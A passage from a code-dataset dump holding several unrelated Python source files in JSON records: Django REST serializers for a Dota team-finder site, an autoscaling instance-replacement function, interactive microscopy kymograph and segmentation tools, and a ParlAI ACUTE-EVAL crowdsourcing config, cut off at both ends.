'squalor', 'wedding', 'faculties', 'war']\newArray = generateSimilarWords(\"CatcherSalinger.txt\", \"esmeWords.txt\", ew)\n\n# Daumier-Smith\ndw = ['el greco', 'french', 'tokyo', 'art', 'buddhism', 'lying', 'harvard', 'nun', 'magdalene']\ndwArray = generateSimilarWords(\"CatcherSalinger.txt\", \"daumierWords.txt\", dw)\n\t\nwpReport(\"CatcherSalinger.txt\", bw, bwArray, \"A Perfect Day for Bananafish\", 3, \"bananaWords.txt\") \nwpReport(\"CatcherSalinger.txt\", lw, lwArray, \"The Laughing Man\", 3, \"laughingWords.txt\") \nwpReport(\"CatcherSalinger.txt\", ew, ewArray, \"For Esme––With Love and Squalor\", 2, \"esmeWords.txt\") \nwpReport(\"CatcherSalinger.txt\", tw, twArray, \"Teddy\", 1, \"teddyWords.txt\") \nwpReport(\"CatcherSalinger.txt\", dw, dwArray, \"Daumier-Smith\", 1, \"daumierWords.txt\") \n\n\n","sub_path":"report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"226848106","text":"from common.api.serializers import MembershipSerializer\nfrom common.models import Interest, Language, Position, Region\nfrom players.models import Player\nfrom teams.models import Team\nfrom rest_framework import serializers\n\n\nclass TeamPlayerSerializer(serializers.ModelSerializer):\n \"\"\"Serializer for nesting a Player object inside a Team\"\"\"\n url = serializers.HyperlinkedIdentityField(view_name='player-detail')\n regions = serializers.PrimaryKeyRelatedField(read_only=True, many=True)\n positions = serializers.PrimaryKeyRelatedField(read_only=True, many=True)\n username = serializers.CharField(source='user.username', read_only=True)\n\n @staticmethod\n def setup_eager_loading(queryset):\n queryset = queryset.prefetch_related(\n 'positions',\n 'regions',\n ).select_related(\n 'user',\n )\n return queryset\n\n class Meta:\n model = Player\n fields = (\n 'id',\n 'url',\n 'username',\n 'user',\n 'regions',\n 'positions',\n )\n read_only_fields = (\n 'id',\n 'url',\n 'username',\n 'user',\n 'regions',\n 'positions',\n )\n\n\nclass PlayerMembershipSerializer(MembershipSerializer):\n \"\"\"MembershipSerializer that nests the player object\"\"\"\n player = TeamPlayerSerializer()\n\n\nclass TeamSerializer(serializers.ModelSerializer):\n url = serializers.HyperlinkedIdentityField(view_name='team-detail')\n regions = serializers.PrimaryKeyRelatedField(queryset=Region.objects.all(), many=True)\n available_positions = serializers.PrimaryKeyRelatedField(queryset=Position.objects.all(), many=True)\n interests = serializers.PrimaryKeyRelatedField(queryset=Interest.objects.all(), many=True)\n languages = serializers.PrimaryKeyRelatedField(queryset=Language.objects.all(), many=True)\n team_members = PlayerMembershipSerializer(source='teammember_set', many=True, read_only=True)\n captain = TeamPlayerSerializer()\n creator = TeamPlayerSerializer(read_only=True)\n\n class Meta:\n model = Team\n fields = (\n 'id',\n 'url',\n 'name',\n 'bio',\n 'logo_url',\n 'regions',\n 'available_positions',\n 'interests',\n 'languages',\n 'team_members',\n 'captain',\n 'creator',\n 'mmr_average',\n 'updated',\n )\n read_only_fields = (\n 'id',\n 'url',\n 'team_members',\n 'creator',\n 'mmr_average',\n 'updated',\n )\n\n\n# TODO: Difference between FlatTeamSerializer and EditableFlatTeamSerializer?\n\nclass FlatTeamSerializer(serializers.ModelSerializer):\n @staticmethod\n def setup_eager_loading(queryset):\n return queryset\n\n class Meta:\n model = Team\n fields = (\n 'id',\n 'name',\n 'bio',\n 'logo_url',\n 'regions',\n # 'player_position', # TODO\n 'available_positions',\n 'interests',\n 'languages',\n 'captain',\n 'creator',\n 'mmr_average',\n 'url',\n )\n read_only_fields = (\n 'id',\n 'captain',\n 'creator',\n 'mmr_average',\n 'url',\n )\n\n def __init__(self, *args, **kwargs):\n super(FlatTeamSerializer, self).__init__(*args, **kwargs)\n self.fields['regions'].required = True\n\n\nclass EditableFlatTeamSerializer(serializers.ModelSerializer):\n\n @staticmethod\n def setup_eager_loading(queryset):\n return queryset\n\n class Meta:\n model = Team\n fields = (\n 'id',\n 'name',\n 'bio',\n 'logo_url',\n 'regions',\n 'available_positions',\n 'interests',\n 'languages',\n 'captain',\n 'creator',\n 'mmr_average',\n 'url',\n )\n read_only_fields = (\n 'id',\n 'url',\n 'team_members',\n 'mmr_average',\n 'creator',\n )\n\n def validate_logo_url(self, value):\n if not value.startswith('https://dotateamfinder.s3.amazonaws.com/team-logos/'):\n raise serializers.ValidationError('Logo url must be registered to the dotateamfinder.com S3 bucket.')\n return value\n\n\nclass TeamMembershipSerializer(MembershipSerializer):\n \"\"\"MembershipSerializer that nests the team object\"\"\"\n team = TeamSerializer()\n","sub_path":"api/teams/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"227261052","text":"def terminate_batch(connection, replace_instances, initial_instances, leftovers=False):\n batch_size = module.params.get('replace_batch_size')\n min_size = module.params.get('min_size')\n desired_capacity = module.params.get('desired_capacity')\n group_name = module.params.get('name')\n lc_check = module.params.get('lc_check')\n decrement_capacity = False\n break_loop = False\n as_group = describe_autoscaling_groups(connection, group_name)[0]\n props = get_properties(as_group)\n desired_size = as_group['MinSize']\n (new_instances, old_instances) = get_instances_by_lc(props, lc_check, initial_instances)\n num_new_inst_needed = (desired_capacity - len(new_instances))\n instances_to_terminate = list_purgeable_instances(props, lc_check, replace_instances, initial_instances)\n module.debug(('new instances needed: %s' % num_new_inst_needed))\n module.debug(('new instances: %s' % new_instances))\n module.debug(('old instances: %s' % old_instances))\n module.debug(('batch instances: %s' % ','.join(instances_to_terminate)))\n if (num_new_inst_needed == 0):\n decrement_capacity = True\n if (as_group['MinSize'] != min_size):\n updated_params = dict(AutoScalingGroupName=as_group['AutoScalingGroupName'], MinSize=min_size)\n update_asg(connection, **updated_params)\n module.debug(('Updating minimum size back to original of %s' % min_size))\n if leftovers:\n decrement_capacity = False\n break_loop = True\n instances_to_terminate = old_instances\n desired_size = min_size\n module.debug('No new instances needed')\n if ((num_new_inst_needed < batch_size) and (num_new_inst_needed != 0)):\n instances_to_terminate = instances_to_terminate[:num_new_inst_needed]\n decrement_capacity = False\n break_loop = False\n module.debug(('%s new instances needed' % num_new_inst_needed))\n module.debug(('decrementing capacity: %s' % decrement_capacity))\n for instance_id in instances_to_terminate:\n elb_dreg(connection, group_name, instance_id)\n module.debug(('terminating instance: %s' % instance_id))\n terminate_asg_instance(connection, instance_id, decrement_capacity)\n return (break_loop, desired_size, instances_to_terminate)","sub_path":"Data Set/bug-fixing-5/680d06d1abe5ba6c7dc3a88bc08b3e1f1c2b6c54--fix.py","file_name":"680d06d1abe5ba6c7dc3a88bc08b3e1f1c2b6c54--fix.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"256396713","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport skimage as sk\nimport h5py\n\nfrom skimage import filters\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib.collections import PolyCollection\nfrom .kymograph import kymograph_multifov\nfrom .segment import fluo_segmentation\nfrom .utils import kymo_handle\n\nclass kymograph_interactive(kymograph_multifov):\n def __init__(self,headpath,all_channels,fov_list,trench_len_y=270,padding_y=20,trench_width_x=30,\\\n t_subsample_step=1,t_range=(0,-1),y_percentile=85,y_min_edge_dist=50,smoothing_kernel_y=(9,1),\\\n triangle_nbins=50,triangle_scaling=1.,orientation_detection=0,expected_num_rows=None,orientation_on_fail=None,\\\n x_percentile=85,background_kernel_x=(301,1),smoothing_kernel_x=(9,1),\\\n otsu_nbins=50,otsu_scaling=1.,trench_present_thr=0.):\n \"\"\"The kymograph class is used to generate and visualize kymographs. The central function of this\n class is the method 'generate_kymograph', which takes an hdf5 file of images from a single fov and\n outputs an hdf5 file containing kymographs from all detected trenches.\n\n NOTE: I need to revisit the row detection, must ensure there can be no overlap...\n \n Args:\n input_file_prefix (string): File prefix for all input hdf5 files of the form\n [input_file_prefix][number].hdf5 \n all_channels (list): list of strings corresponding to the different image channels\n available in the input hdf5 file, with the channel used for segmenting trenches in\n the first position. NOTE: these names must match those of the input hdf5 file datasets.\n trench_len_y (int): Length from the end of the tenches to be used when cropping in the \n y-dimension.\n padding_y (int): Padding to be used when cropping in the y-dimension.\n trench_width_x (int): Width to be used when cropping in the x-dimension.\n fov_list (list): List of ints corresponding to fovs of interest.\n\n t_subsample_step(int): Step size to be used for subsampling input files in time.\n\n y_percentile (int): Used for reducing signal in xyt to only the yt dimension when cropping\n in the y-dimension.\n y_min_edge_dist (int): Used when detecting present rows, filters for a minimum row size along the y dimension.\n smoothing_kernel_y (tuple): Two-entry tuple specifying a kernel size for smoothing out yt\n signal when cropping in the y-dimension.\n triangle_nbins (int): Number of bins to use when applying the triangle method to y-dimension signal.\n triangle_scaling (float): Threshold scaling factor for triangle method thresholding.\n\n x_percentile (int): Used for reducing signal in xyt to only the xt dimension when cropping\n in the x-dimension.\n background_kernel_x (tuple): Two-entry tuple specifying a kernel size for performing background subtraction\n on xt signal when cropping in the x-dimension. Dim_1 (time) should be set to 1.\n smoothing_kernel_x (tuple): Two-entry tuple specifying a kernel size for performing smoothing\n on xt signal when cropping in the x-dimension. Dim_1 (time) should be set to 1.\n otsu_nbins (int): Number of bins to use when applying Otsu's method to x-dimension signal.\n otsu_scaling (float): Threshold scaling factor for Otsu's method thresholding.\n \"\"\"\n super(kymograph_interactive, self).__init__(headpath,all_channels,fov_list,trench_len_y=trench_len_y,\\\n padding_y=padding_y,trench_width_x=trench_width_x,t_subsample_step=t_subsample_step,t_range=t_range,y_percentile=y_percentile,\\\n y_min_edge_dist=y_min_edge_dist,smoothing_kernel_y=smoothing_kernel_y,triangle_nbins=triangle_nbins,\\\n triangle_scaling=triangle_scaling,orientation_detection=orientation_detection,expected_num_rows=expected_num_rows,\\\n orientation_on_fail=orientation_on_fail,x_percentile=x_percentile,background_kernel_x=background_kernel_x,\\\n smoothing_kernel_x=smoothing_kernel_x,otsu_nbins=otsu_nbins,otsu_scaling=otsu_scaling,trench_present_thr=trench_present_thr)\n \n self.final_params = {}\n \n \n def get_image_params(self,fov_idx):\n hdf5_handle = h5py.File(self.input_file_prefix + str(fov_idx) + \".hdf5\", \"a\")\n channels = list(hdf5_handle.keys())\n data = hdf5_handle[self.all_channels[0]]\n return channels,data.shape\n \n def view_image(self,fov_idx,t,channel):\n hdf5_handle = h5py.File(self.input_file_prefix + str(fov_idx) + \".hdf5\", \"a\")\n plt.imshow(hdf5_handle[channel][:,:,t])\n hdf5_handle.close()\n\n def preview_y_precentiles(self,imported_array_list, y_percentile, smoothing_kernel_y_dim_0,\\\n triangle_nbins,triangle_scaling):\n \n self.final_params['Y Percentile'] = y_percentile\n self.final_params['Y Smoothing Kernel'] = smoothing_kernel_y_dim_0\n y_percentiles_smoothed_list = self.map_to_fovs(self.get_smoothed_y_percentiles,imported_array_list,\\\n y_percentile,(smoothing_kernel_y_dim_0,1))\n thresholds = [self.triangle_threshold(y_percentiles_smoothed,triangle_nbins,triangle_scaling)[1] for y_percentiles_smoothed in y_percentiles_smoothed_list]\n self.plot_y_precentiles(y_percentiles_smoothed_list,self.fov_list,thresholds)\n return y_percentiles_smoothed_list\n \n def plot_y_precentiles(self,y_percentiles_smoothed_list,fov_list,thresholds):\n fig = plt.figure()\n \n ### Subplot dimensions of plot\n root_list_len = np.ceil(np.sqrt(len(y_percentiles_smoothed_list)))\n \n ### Looping through each fov\n idx=0\n for j,y_percentiles_smoothed in enumerate(y_percentiles_smoothed_list):\n ### Managing Subplots\n idx += 1\n ax = fig.add_subplot(root_list_len, root_list_len, idx, projection='3d')\n \n ### Making list of vertices (tuples) for use with PolyCollection\n vert_arr = np.array([np.add.accumulate(np.ones(y_percentiles_smoothed.shape,dtype=int),axis=0),y_percentiles_smoothed])\n verts = []\n for t in range(vert_arr.shape[2]):\n w_vert = vert_arr[:,:,t]\n verts.append([(w_vert[0,i],w_vert[1,i]) for i in range(0,w_vert.shape[1],10)])\n \n ### Making counting array for y position\n zs = np.add.accumulate(np.ones(len(verts)))\n \n ### Creating PolyCollection and add to plot\n poly = PolyCollection(verts,facecolors = ['b'])\n poly.set_alpha(0.5)\n ax.add_collection3d(poly,zs=zs, zdir='y')\n \n ### Depecting thresholds as straight lines\n x_len = y_percentiles_smoothed.shape[0]\n y_len = y_percentiles_smoothed.shape[1]\n thr_x = np.repeat(np.add.accumulate(np.ones(x_len,dtype=int))[:,np.newaxis],y_len,axis=1).T.flatten()\n thr_y = np.repeat(np.add.accumulate(np.ones(y_len,dtype=int)),x_len)\n# \n thr_z = np.concatenate([np.repeat(threshold,x_len) for threshold in thresholds[j]],axis=0)\n for i in range(0,x_len*y_len,x_len):\n ax.plot(thr_x[i:i+x_len],thr_y[i:i+x_len],thr_z[i:i+x_len],c='r')\n \n ### Plot lebels\n ax.set_title(\"FOV: \" + str(fov_list[j]))\n ax.set_xlabel('y position')\n ax.set_xlim3d(0, vert_arr[0,-1,0])\n ax.set_ylabel('time (s)')\n ax.set_ylim3d(0, len(verts))\n ax.set_zlabel('intensity')\n ax.set_zlim3d(0, np.max(vert_arr[1]))\n \n plt.show()\n \n \n def preview_y_crop(self,y_percentiles_smoothed_list, imported_array_list, triangle_nbins, triangle_scaling,\\\n y_min_edge_dist, padding_y, trench_len_y,vertical_spacing,expected_num_rows,orientation_detection,orientation_on_fail):\n \n self.final_params['Triangle Trheshold Bins'] = triangle_nbins\n self.final_params['Triangle Threshold Scaling'] = triangle_scaling\n self.final_params['Minimum Trench Length'] = y_min_edge_dist\n self.final_params['Y Padding'] = padding_y\n self.final_params['Trench Length'] = trench_len_y\n self.final_params['Orientation Detection Method'] = orientation_detection\n self.final_params['Expected Number of Rows (Manual Orientation Detection)'] = expected_num_rows\n self.final_params['Top Orientation when Row Drifts Out (Manual Orientation Detection)'] = orientation_on_fail\n \n trench_edges_y_lists = self.map_to_fovs(self.get_trench_edges_y,y_percentiles_smoothed_list,triangle_nbins,\\\n triangle_scaling,y_min_edge_dist)\n y_midpoints_list = self.map_to_fovs(self.get_y_midpoints,trench_edges_y_lists)\n y_drift_list = self.map_to_fovs(self.get_y_drift,y_midpoints_list)\n \n if orientation_detection == 'phase':\n valid_edges_y_output = self.map_to_fovs(self.keep_in_frame_kernels,trench_edges_y_lists,y_drift_list,imported_array_list,padding_y)\n valid_edges_y_lists = [item[0] for item in valid_edges_y_output]\n trench_orientations_list = self.map_to_fovs(self.get_phase_orientations,y_percentiles_smoothed_list,valid_edges_y_lists)\n \n elif orientation_detection == 0 or orientation_detection == 1:\n trench_orientations_list = self.map_to_fovs(self.get_manual_orientations,trench_edges_y_lists,expected_num_rows,orientation_detection,orientation_on_fail)\n valid_edges_y_output = self.map_to_fovs(self.keep_in_frame_kernels,trench_edges_y_lists,y_drift_list,imported_array_list,padding_y)\n valid_edges_y_lists = [item[0] for item in valid_edges_y_output]\n valid_orientation_lists = [item[1] for item in valid_edges_y_output]\n trench_orientations_list = [np.array(item)[valid_orientation_lists[i]].tolist() for i,item in enumerate(trench_orientations_list)]\n\n else:\n print(\"Orientation detection value invalid!\")\n \n cropped_in_y_list = self.map_to_fovs(self.crop_y,imported_array_list,y_drift_list,valid_edges_y_lists,trench_orientations_list,padding_y,\\\n trench_len_y)\n\n self.plot_y_crop(cropped_in_y_list,imported_array_list,self.fov_list,vertical_spacing,trench_orientations_list)\n return cropped_in_y_list\n \n def plot_y_crop(self,cropped_in_y_list,imported_array_list,fov_list,vertical_spacing,trench_orientations_list):\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n \n time_list = range(1,imported_array_list[0].shape[3]+1)\n \n nrows = np.sum([len(item) for item in trench_orientations_list])\n ncols = len(time_list)\n \n idx = 0\n for i,cropped_in_y in enumerate(cropped_in_y_list):\n num_rows = len(trench_orientations_list[i])\n for j in range(num_rows):\n for k,t in enumerate(time_list):\n idx += 1\n ax = plt.subplot(nrows,ncols,idx)\n ax.set_title(\"row=\" + str(j) + \",fov=\" + str(fov_list[i]) + \",t=\" + str(t))\n ax.imshow(cropped_in_y[j,0,:,:,k])\n \n plt.tight_layout()\n plt.subplots_adjust(top=vertical_spacing)\n plt.show()\n \n def preview_x_percentiles(self,cropped_in_y_list, t, x_percentile, background_kernel_x,smoothing_kernel_x,\\\n otsu_nbins, otsu_scaling,vertical_spacing):\n \n self.final_params['X Percentile'] = x_percentile\n self.final_params['X Background Kernel'] = background_kernel_x\n self.final_params['X Smoothing Kernel'] = smoothing_kernel_x\n \n smoothed_x_percentiles_list = self.map_to_fovs(self.get_smoothed_x_percentiles,cropped_in_y_list,x_percentile,\\\n (background_kernel_x,1),(smoothing_kernel_x,1))\n thresholds = []\n for smoothed_x_percentiles_row in smoothed_x_percentiles_list:\n for smoothed_x_percentiles in smoothed_x_percentiles_row:\n x_percentiles_t = smoothed_x_percentiles[:,t]\n thresholds.append(self.get_midpoints(x_percentiles_t,otsu_nbins,otsu_scaling)[1])\n self.plot_x_percentiles(smoothed_x_percentiles_list,self.fov_list, t, thresholds,vertical_spacing,num_rows=2)\n return smoothed_x_percentiles_list\n \n \n def plot_x_percentiles(self,smoothed_x_percentiles_list,fov_list,t,thresholds,vertical_spacing,num_rows=2):\n fig = plt.figure()\n \n ncol=num_rows\n nrow=len(smoothed_x_percentiles_list)\n \n idx = 0\n for i,smoothed_x_percentiles_lanes in enumerate(smoothed_x_percentiles_list):\n for j,smoothed_x_percentiles in enumerate(smoothed_x_percentiles_lanes):\n idx += 1\n data = smoothed_x_percentiles[:,t]\n ax = fig.add_subplot(ncol, nrow, idx)\n ax.plot(data)\n \n current_threshold = thresholds[idx-1]\n threshold_data = np.repeat(current_threshold,len(data))\n ax.plot(threshold_data,c='r')\n ax.set_title(\"FOV: \" + str(fov_list[i]) + \" Lane: \" + str(j))\n ax.set_xlabel('x position')\n ax.set_ylabel('intensity')\n\n plt.show()\n \n \n def preview_midpoints(self,smoothed_x_percentiles_list,otsu_nbins,otsu_scaling,vertical_spacing):\n self.final_params['Otsu Trheshold Bins'] = otsu_nbins\n self.final_params['Otsu Threshold Scaling'] = otsu_scaling\n \n all_midpoints_list = self.map_to_fovs(self.get_all_midpoints,smoothed_x_percentiles_list,otsu_nbins,otsu_scaling)\n self.plot_midpoints(all_midpoints_list,self.fov_list,vertical_spacing)\n x_drift_list = self.map_to_fovs(self.get_x_drift,all_midpoints_list)\n return all_midpoints_list,x_drift_list\n \n def plot_midpoints(self,all_midpoints_list,fov_list,vertical_spacing):\n fig = plt.figure()\n ax = fig.gca()\n \n nrows = 2*len(fov_list)\n ncols = 2\n \n idx = 0\n for i,top_bottom_list in enumerate(all_midpoints_list):\n for j,all_midpoints in enumerate(top_bottom_list):\n idx+=1\n ax = plt.subplot(nrows,ncols,idx)\n ax.set_title(\"row=\" + str(j) + \",fov=\" + str(fov_list[i]))\n data = np.concatenate([np.array([item,np.ones(item.shape,dtype=int)*k]).T for k,item in enumerate(all_midpoints)])\n ax.scatter(data[:,0],data[:,1],alpha=0.7)\n ax.set_xlabel('x position')\n ax.set_ylabel('time')\n \n plt.tight_layout()\n plt.subplots_adjust(top=vertical_spacing)\n plt.show()\n \n def preview_corrected_midpoints(self,all_midpoints_list,x_drift_list,trench_width_x,trench_present_thr,vertical_spacing):\n self.final_params['Trench Width'] = trench_width_x\n self.final_params['Trench Presence Threshold'] = trench_present_thr\n \n corrected_midpoints_list = self.map_to_fovs(self.get_corrected_midpoints,all_midpoints_list,x_drift_list,trench_width_x,trench_present_thr)\n self.plot_midpoints(corrected_midpoints_list,self.fov_list,vertical_spacing)\n \n return corrected_midpoints_list\n \n def preview_kymographs(self,cropped_in_y_list,all_midpoints_list,x_drift_list,trench_width_x,trench_present_thr,vertical_spacing):\n self.final_params['Trench Width'] = trench_width_x\n self.final_params['Trench Presence Threshold'] = trench_present_thr\n \n cropped_in_x_list = self.map_to_fovs(self.get_crop_in_x,cropped_in_y_list,all_midpoints_list,x_drift_list,\\\n trench_width_x,trench_present_thr)\n self.plot_kymographs(cropped_in_x_list,self.fov_list,vertical_spacing)\n \n def plot_kymographs(self,cropped_in_x_list,fov_list,vertical_spacing,num_rows=2):\n plt.figure()\n idx = 0\n ncol = num_rows\n nrow = len(fov_list)*num_rows\n \n for i,row_list in enumerate(cropped_in_x_list):\n for j,channel in enumerate(row_list):\n seg_channel = channel[0]\n idx+=1\n rand_k = np.random.randint(0,seg_channel.shape[0])\n ax = plt.subplot(ncol,nrow,idx)\n ex_kymo = seg_channel[rand_k]\n self.plot_kymograph(ax,ex_kymo)\n ax.set_title(\"row=\" + str(j) + \",fov=\" + str(fov_list[i]) + \",trench=\" + str(rand_k))\n \n plt.tight_layout()\n plt.subplots_adjust(top=vertical_spacing)\n plt.show() \n \n\n def plot_kymograph(self,ax,kymograph):\n \"\"\"Helper function for plotting kymographs. Takes a kymograph array of shape (y_dim,x_dim,t_dim).\n \n Args:\n kymograph (array): kymograph array of shape (y_dim,x_dim,t_dim).\n \"\"\"\n list_in_t = [kymograph[:,:,t] for t in range(kymograph.shape[2])]\n img_arr = np.concatenate(list_in_t,axis=1)\n ax.imshow(img_arr)\n \n def print_results(self):\n for key,value in self.final_params.items():\n print(key + \" \" + str(value))\n\nclass fluo_segmentation_interactive(fluo_segmentation):\n def __init__(self,headpath,seg_channel,smooth_sigma=0.75,wrap_pad=3,hess_pad=4,min_obj_size=30,cell_mask_method='local',\\\n global_otsu_scaling=1.,cell_otsu_scaling=1.,local_otsu_r=15,edge_threshold_scaling=1.,threshold_step_perc=0.1,threshold_perc_num_steps=2,convex_threshold=0.8):\n \n fluo_segmentation.__init__(self,smooth_sigma=smooth_sigma,wrap_pad=wrap_pad,hess_pad=hess_pad,\\\n min_obj_size=min_obj_size,cell_mask_method=cell_mask_method,global_otsu_scaling=global_otsu_scaling,cell_otsu_scaling=cell_otsu_scaling,local_otsu_r=local_otsu_r,\\\n edge_threshold_scaling=edge_threshold_scaling,threshold_step_perc=threshold_step_perc,threshold_perc_num_steps=threshold_perc_num_steps,\\\n convex_threshold=convex_threshold)\n\n self.headpath = headpath\n self.seg_channel = seg_channel\n self.input_path = headpath + \"/kymo\"\n self.input_file_prefix = self.input_path + \"/kymo_\"\n self.metapath = headpath + \"/metadata.hdf5\"\n \n self.final_params = {}\n \n def plot_img_list(self,img_list):\n nrow = (len(img_list)+1)//2\n fig, axes = plt.subplots(nrows=nrow, ncols=2, figsize=self.fig_size)\n for i in range(len(img_list)):\n img = img_list[i]\n if nrow < 2:\n axes[i%2].imshow(img)\n else:\n axes[i//2,i%2].imshow(img)\n if len(img_list)%2 == 1:\n if nrow < 2:\n axes[-1].axis('off')\n else: \n axes[-1, -1].axis('off')\n plt.tight_layout()\n plt.show() \n \n def import_array(self,fov_idx,n_trenches,t_range=(0,-1),t_subsample_step=1,fig_size_y=9,fig_size_x=6):\n self.fig_size = (fig_size_y,fig_size_x)\n with h5py.File(self.input_file_prefix + str(fov_idx) + \".hdf5\", \"r\") as hdf5_handle:\n ttl_trenches = len(hdf5_handle.keys())\n chosen_trenches = np.random.choice(np.array(list(range(0,ttl_trenches))),size=n_trenches,replace=False)\n chosen_trench_keys = np.array(list(hdf5_handle.keys()))[chosen_trenches].tolist()\n array_list = [hdf5_handle[trench_key + \"/\" + self.seg_channel][:,:,t_range[0]:t_range[1]:t_subsample_step] for trench_key in chosen_trench_keys]\n output_array = np.concatenate(np.expand_dims(array_list,axis=0),axis=0)\n self.t_tot = output_array.shape[3]\n self.plot_kymographs(output_array)\n return output_array\n \n def plot_kymographs(self,kymo_arr):\n input_kymo = kymo_handle()\n img_list = []\n for k in range(kymo_arr.shape[0]):\n input_kymo.import_wrap(kymo_arr[k])\n img_list.append(input_kymo.return_unwrap(padding=self.wrap_pad))\n self.plot_img_list(img_list)\n return img_list\n \n def plot_scaled(self,kymo_arr,scale,scaling_percentile):\n self.final_params['Scale Fluorescence?'] = scale\n self.final_params[\"Scaling Percentile:\"] = scaling_percentile\n input_kymo = kymo_handle()\n scaled_list = []\n for k in range(kymo_arr.shape[0]):\n input_kymo.import_wrap(kymo_arr[k],scale=scale,scale_perc=scaling_percentile)\n scaled_list.append(input_kymo.return_unwrap(padding=self.wrap_pad))\n self.plot_img_list(scaled_list)\n return scaled_list\n \n def plot_processed(self,scaled_list,smooth_sigma):\n self.final_params['Gaussian Kernel Sigma:'] = smooth_sigma\n proc_list = []\n for scaled in scaled_list:\n proc_img = self.preprocess_img(scaled,sigma=smooth_sigma)\n proc_list.append(proc_img)\n self.plot_img_list(proc_list)\n return proc_list\n \n def plot_eigval(self,proc_list):\n eigval_list = []\n for proc in proc_list:\n inverted = sk.util.invert(proc)\n min_eigvals = self.to_8bit(self.hessian_contrast_enc(inverted,self.hess_pad))\n eigval_list.append(min_eigvals)\n self.plot_img_list(eigval_list)\n return eigval_list\n \n def plot_cell_mask(self,proc_list,global_otsu_scaling,cell_mask_method,cell_otsu_scaling,local_otsu_r):\n self.final_params['Cell Mask Thresholding Method:'] = cell_mask_method\n self.final_params['Global Threshold Scaling:'] = global_otsu_scaling\n self.final_params['Cell Threshold Scaling:'] = cell_otsu_scaling\n self.final_params['Local Otsu Radius:'] = local_otsu_r\n \n cell_mask_list = []\n for proc in proc_list:\n cell_mask = self.cell_region_mask(proc,method=cell_mask_method,global_otsu_scaling=global_otsu_scaling,cell_otsu_scaling=cell_otsu_scaling,t_tot=self.t_tot,local_otsu_r=local_otsu_r)\n cell_mask_list.append(cell_mask)\n self.plot_img_list(cell_mask_list)\n return cell_mask_list\n \n def plot_threshold_result(self,eigval_list,cell_mask_list,edge_threshold_scaling,min_obj_size):\n composite_mask_list = []\n edge_mask_list = []\n for i,min_eigvals in enumerate(eigval_list):\n cell_mask = cell_mask_list[i]\n \n eig_kymo = kymo_handle()\n eig_kymo.import_unwrap(min_eigvals,self.t_tot,padding=self.wrap_pad)\n wrap_eig = eig_kymo.return_wrap()\n edge_threshold = self.get_mid_threshold_arr(wrap_eig,edge_threshold_scaling=edge_threshold_scaling,padding=self.wrap_pad)\n \n composite_mask = self.find_mask(cell_mask,min_eigvals,edge_threshold,min_obj_size=min_obj_size)\n composite_mask_list.append(composite_mask)\n \n self.plot_img_list(composite_mask_list)\n return composite_mask_list\n \n \n def plot_scores(self,eigval_list,cell_mask_list,edge_threshold_scaling,threshold_step_perc,threshold_perc_num_steps,min_obj_size):\n self.final_params['Edge Threshold Scaling:'] = edge_threshold_scaling\n self.final_params['Threshold Step Percent:'] = threshold_step_perc\n self.final_params['Number of Threshold Steps:'] = threshold_perc_num_steps\n self.final_params['Minimum Object Size:'] = min_obj_size\n \n conv_scores_list = []\n for i,min_eigvals in enumerate(eigval_list):\n cell_mask = cell_mask_list[i]\n \n eig_kymo = kymo_handle()\n eig_kymo.import_unwrap(min_eigvals,self.t_tot,padding=self.wrap_pad)\n wrap_eig = eig_kymo.return_wrap()\n mid_threshold_arr = self.get_mid_threshold_arr(wrap_eig,edge_threshold_scaling=edge_threshold_scaling,padding=self.wrap_pad)\n \n conv_scores = self.get_scores(cell_mask,min_eigvals,mid_threshold_arr,\\\n threshold_step_perc=threshold_step_perc,threshold_perc_num_steps=threshold_perc_num_steps,min_obj_size=min_obj_size)\n conv_scores_list.append(conv_scores)\n self.plot_img_list(conv_scores_list)\n return conv_scores_list\n \n def plot_final_mask(self,conv_scores_list,convex_threshold):\n self.final_params['Convexity Threshold:'] = convex_threshold\n \n final_mask_list = []\n for conv_scores in conv_scores_list:\n final_mask = (conv_scores>convex_threshold)\n final_mask_list.append(final_mask)\n self.plot_img_list(final_mask_list)\n return final_mask_list\n \n def print_results(self):\n for key,value in self.final_params.items():\n print(key + \" \" + str(value))","sub_path":"trenchripper/.ipynb_checkpoints/interactive-checkpoint.py","file_name":"interactive-checkpoint.py","file_ext":"py","file_size_in_byte":25329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"122770197","text":"#!/usr/bin/env python3\n\n# Copyright (c) Facebook, Inc. and its affiliates.\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\nfrom parlai.mturk.tasks.acute_eval.run import AcuteEvaluator, add_args\n\n\"\"\"\nExample script for running ACUTE-EVAL.\nThe only argument that *must* be modified for this to be run is:\n``pairings_filepath``: Path to pairings file in the format specified in the README.md\n\nThe following args are useful to tweak to fit your specific needs;\n - ``annotations_per_pair``: A useful arg if you'd like to evaluate a given conversation pair\n more than once.\n - ``num_matchup_pairs``: Essentially, how many pairs of conversations you would like to evaluate\n - ``subtasks_per_hit``: How many comparisons you'd like a turker to complete in one HIT\n\nHelp strings for the other arguments can be found in run.py.\n\"\"\"\n\n\ndef set_args():\n args = add_args()\n # pairings file\n args['pairings_filepath'] = 'parlai/mturk/tasks/acute_eval/example/pairings.jsonl'\n\n # onboarding and blocking\n args['block_on_onboarding_fail'] = True\n args['block_qualification'] = 'onboarding_qual_name'\n\n # general ParlAI mturk settings\n args['assignment_duration_in_seconds'] = 600\n args['reward'] = 0.5 # amount to pay workers per hit\n args['max_hits_per_worker'] = 2 # max # hits a worker may complete\n args['is_sandbox'] = True # set to False to release real hits\n\n args['annotations_per_pair'] = 1 # num times to use the same conversation pair\n args['num_matchup_pairs'] = 2 # num pairs of conversations to be compared\n args['seed'] = 42 # random seed\n args['subtasks_per_hit'] = 2 # num comparisons to show within one hit\n\n # question phrasing\n args['s1_choice'] = 'I would prefer to talk to '\n args['s2_choice'] = 'I would prefer to talk to '\n args['question'] = 'Who would you prefer to talk to for a long conversation?'\n\n args['num_conversations'] = int(\n args['num_matchup_pairs'] / 